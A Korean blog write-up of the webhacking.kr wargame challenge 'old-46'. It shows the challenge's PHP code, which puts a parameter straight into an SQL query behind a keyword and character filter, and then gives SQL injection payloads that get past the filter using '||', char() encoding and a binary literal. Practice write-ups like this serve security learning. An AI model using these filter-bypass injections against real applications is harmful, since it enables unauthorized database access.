write-up(web)/webhacking.kr

[Webhacking.kr] old-46

chanchand 2023. 1. 4. 00:14
반응형

문제


 

<?php
  include "../../config.php";
  if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 46</title>
</head>
<body>
<h1>SQL INJECTION</h1>
<form method=get>
level : <input name=lv value=1><input type=submit>
</form>
<hr><a href=./?view_source=1>view-source</a><hr>
<?php
  if($_GET['lv']){
    $db = dbconnect();
    $_GET['lv'] = addslashes($_GET['lv']);
    $_GET['lv'] = str_replace(" ","",$_GET['lv']);
    $_GET['lv'] = str_replace("/","",$_GET['lv']);
    $_GET['lv'] = str_replace("*","",$_GET['lv']);
    $_GET['lv'] = str_replace("%","",$_GET['lv']);
    if(preg_match("/select|0x|limit|cash/i",$_GET['lv'])) exit();
    $result = mysqli_fetch_array(mysqli_query($db,"select id,cash from chall46 where lv=$_GET[lv]"));
    if($result){
      echo("{$result['id']} information<br><br>money : {$result['cash']}");
      if($result['id'] == "admin") solve(46);
    }
  }
?>
</body>
</html>

 

id가 admin일 때 문제가 해결된다.

 

 

 

문제풀이


lv=1부터 4까지는 정보가 나오며, 그 외에는 정보가 나오지 않는다.

 

공백, /, *, %, select, 0x 등 입력값에 대한 검증이 이루어진다.

이를 우회하여 아래와 같은 구문을 입력하면 문제가 해결된다.

or 대신 ||, 작은따옴표 대신 char 함수, 2진수를 이용했다.

select id,cash from chall46 where lv=0||id=char(97,100,109,105,110)

select id,cash from chall46 where lv=0||id=0b0110000101100100011011010110100101101110

 

 

 

반응형

'write-up(web) > webhacking.kr' 카테고리의 다른 글

[Webhacking.kr] old-48  (0) 2023.01.04
[Webhacking.kr] old-47  (0) 2023.01.04
[Webhacking.kr] old-45  (0) 2023.01.03
[Webhacking.kr] old-44  (0) 2023.01.02
[Webhacking.kr] old-43  (0) 2023.01.02